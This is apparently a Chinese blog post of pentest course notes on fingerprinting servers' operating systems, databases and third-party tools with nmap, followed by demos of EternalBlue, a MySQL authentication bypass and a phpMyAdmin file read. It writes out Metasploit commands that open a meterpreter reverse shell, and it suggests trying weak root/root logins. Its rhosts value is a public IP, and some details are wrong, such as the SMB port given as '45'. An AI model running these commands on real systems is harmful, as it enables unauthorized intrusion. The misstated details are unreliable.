《小迪安全》第5天 系统及数据库

目录

前言

一、操作系统层面

1. 识别操作系统常见方法

2. 两者区别(简要)及识别意义 & 操作系统层面漏洞类型对应意义

3. 操作系统层面漏洞影响范围(简要)

二、数据库层面

1. 识别数据库类型常见方法 & 数据库类型区别及识别意义

2. 数据库常见漏洞类型及攻击 & 数据库层面漏洞影响范围(简要)

三、第三方层面

1. 如何判断有那些第三方平台或软件 & 为什么要识别第三方平台或软件

2. 常见第三方平台或软件漏洞类型及攻击

3. 第三方平台或软件安全测试的范围(简要)

补充

案例演示

1. 某操作系统层面漏洞演示

2. 某数据库层面漏洞演示

3. 第三方应用安全漏洞演示


前言

除去前期讲到过的搭建平台中间件,网站源码外,容易受到攻击的还有操作系统、数据库、第三方软件平台等,此类攻击也能直接影响到Web或服务器的安全,导致网站或服务器权限的获取。

Windows、Linux作为常见的服务器操作系统,其系统层面的漏洞有些对开展安全测试是有帮助的(与权限有关的漏洞),有些,如DDoS攻击,这种影响正常的运行或业务的应用的漏洞,没有和权限挂钩,就不需要刻意去学习了。

漏洞是需要区分属于哪一层的。比如ThinkPHP的漏洞,ThinkPHP是网站开发的框架,相关漏洞属于Web层,再怎么利用也最多只能获得网站的权限,和操作系统安全没有关系。

第三方软件:服务器上会安装的某些辅助插件,比如phpmyadmin,一般都是起到便于站长管理数据库的功能,有些可以被攻击者利用,登陆到数据库里。

一、操作系统层面

1. 识别操作系统常见方法

以小迪吧网站为例。小迪渗透吧-提供最专业的渗透测试培训,web安全培训,网络安全培训,代码审计培训,安全服务培训,CTF比赛培训,SRC平台挖掘培训,红蓝对抗培训!_小迪安全,小迪渗透,小迪培训小迪渗透,小迪安全,小迪培训http://xiaodi8.com/ 如果服务器是Windows操作系统,那么不区分大小写,网址以大写小写都可以正常访问。

如果是Linux就有影响。

大小写均可访问,可以认定网站服务器的操作系统为Windows。

切换大小写访问报错,则可以认定网站服务器的操作系统是Linux。

这是有网站可以访问的情况。没有网站,只有一个IP地址时如何识别操作系统呢?

两种方式:nmap;通过ping 获取的TTL值判断操作系统(不推荐,有时不准确,且不能判断版本)。

利用NMAP探测网站服务器或某IP地址的操作系统:参数 -O

nmap -O <IP>

2. 两者区别(简要)及识别意义 & 操作系统层面漏洞类型对应意义

操作系统的重要区别:网站路径问题(Linux并没有盘符的概念)。以及文件兼容、运行的问题。

操作系统层面漏洞类型:

  • 本地提权漏洞;
  • 本地溢出漏洞;
  • 远程代码执行;
  • DDoS攻击;
  • 缓冲区溢出……

有些漏洞只是造成了一些危害(如DDoS),但不会影响权限的丢失。有些漏洞就影响了权限,比如 MS17-010 高危远程代码执行漏洞 CVE-2017-0143 针对Windows SMB协议45号端口(一般电脑都默认开放)不需要前提条件只需端口开放。

3. 操作系统层面漏洞影响范围(简要)

漏洞要么和权限挂钩,要么使系统崩溃,即影响操作系统。

二、数据库层面

1. 识别数据库类型常见方法 & 数据库类型区别及识别意义

基本上有网站就有数据库,99%的网站都是动态网站,静态网站就是一个单纯的页面,没有数据的传输,没有其他的功能、后台、前台、数据库、数据。静态网站是没有漏洞的。

必须要有数据传递,才会产生漏洞。

  • 小型数据库:储存少量信息,如Access
  • 中型数据库:如MySQL
  • 大型数据库:如SQLServer,Oracle

有网站就通过网站识别,没有网站就利用nmap工具。

  • ASP+Access
  • PHP+mysql
  • ASPX+mssql(SQLserver)
  • JSP+mssql, Oracle
  • Python+MangoDB,...
  • ……

一般都会使用建议的数据库。另外注意Access、mssql只能运行在Windows上,不支持Linux。

利用端口扫描判断数据库: 数据库在运行时会开放一个特定端口,不同数据库不同端口。用Nmap端口扫描判定对方端口是否开放,来判定是否有特定服务。

  • Access没有端口
  • mysql:3306
  • SqlServer:1433
  • Oracle:1521
  • MangoDB:27017
  • Redis:6379
  • DB2:5000

 可以得知开放了3306端口:用的是mysql数据库。

端口状态filtered:filtered是由于报文无法到达指定的端口,nmap无法确定端口开放状态。一般可以假定端口是有服务开启的。也有可能是被企业级防火墙拦截。

不同数据库,不同攻击方法,不同架构,不同漏洞……

2. 数据库常见漏洞类型及攻击 & 数据库层面漏洞影响范围(简要)

弱口令攻击:通过数据库的弱口令登陆数据库。

MySQL 弱口令漏洞指 MySQL 数据库 root 账号对应的密码长度太短或者复杂度不够,如仅包含数字,或仅包含字母等。

弱口令容易被暴力破解,一旦被恶意利用来登录系统,会导致数据泄露,如果得到了root权限登录mysql服务,则可以写入恶意文件,危害更大。

三、第三方层面

管理员或站长在服务器选装的一些便于管理的软件。

JBoss、WebLogic、PHPmyadmin、teamview、VSftpd等。

1. 如何判断有那些第三方平台或软件 & 为什么要识别第三方平台或软件

如果是用于网站的第三方软件,可以由网站目录获悉。比如phpmyadmin肯定在网站某目录下,则可以通过直接访问/目录扫描验证,然后开展下一步比如弱口令攻击(root root):如果是装在服务器上的软件比如vsftpd,则可以用端口扫描工具获悉,因为FTP服务需要开放21端口。

大部份都是通过端口扫描探测。

nmap -O -sV <IP Address>

2. 常见第三方平台或软件漏洞类型及攻击

3. 第三方平台或软件安全测试的范围(简要)

补充

除去常规Web安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件服务器、游戏服务器、负载均衡等)也可以作为安全测试目标(要根据服务选择攻击方式、方向!),此类目标测试原则只是少了Web应用或其他安全问题。所以明确安全测试思路是很重要的。

案例演示

1. 某操作系统层面漏洞演示

攻击靶机:192.168.3.31。

在攻击机 kali 开启 msfconsole:

 使用针对Windows系统的MS7-010漏洞。该漏洞先决条件只需靶机开启445端口。

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.90.135
set rhosts 59.63.226.67
run

 成功结果如下所示:

成功获取系统权限。

2. 某数据库层面漏洞演示

以vulhub mysql/CVE-2012-2122/为例。MySql身份认证绕过漏洞。

Vulhub - Docker-Compose file for vulnerability environment

靶机开启vulhub环境,kali攻击机nmap对靶机进行扫描:

探测到3306端口开放,以及mysql版本:5.5.23

使用 kali 自带的攻击模块 msfconsole对其进行攻击,设置目标IP地址、线程数量:

 攻击成功,产生下述文件:

3. 第三方应用安全漏洞演示

Vulhub:phpmyadmin Vulhub - Docker-Compose file for vulnerability environment

以 phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)为例。在靶机启动漏洞环境。

发送如下数据包,即可读取/etc/passwd

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值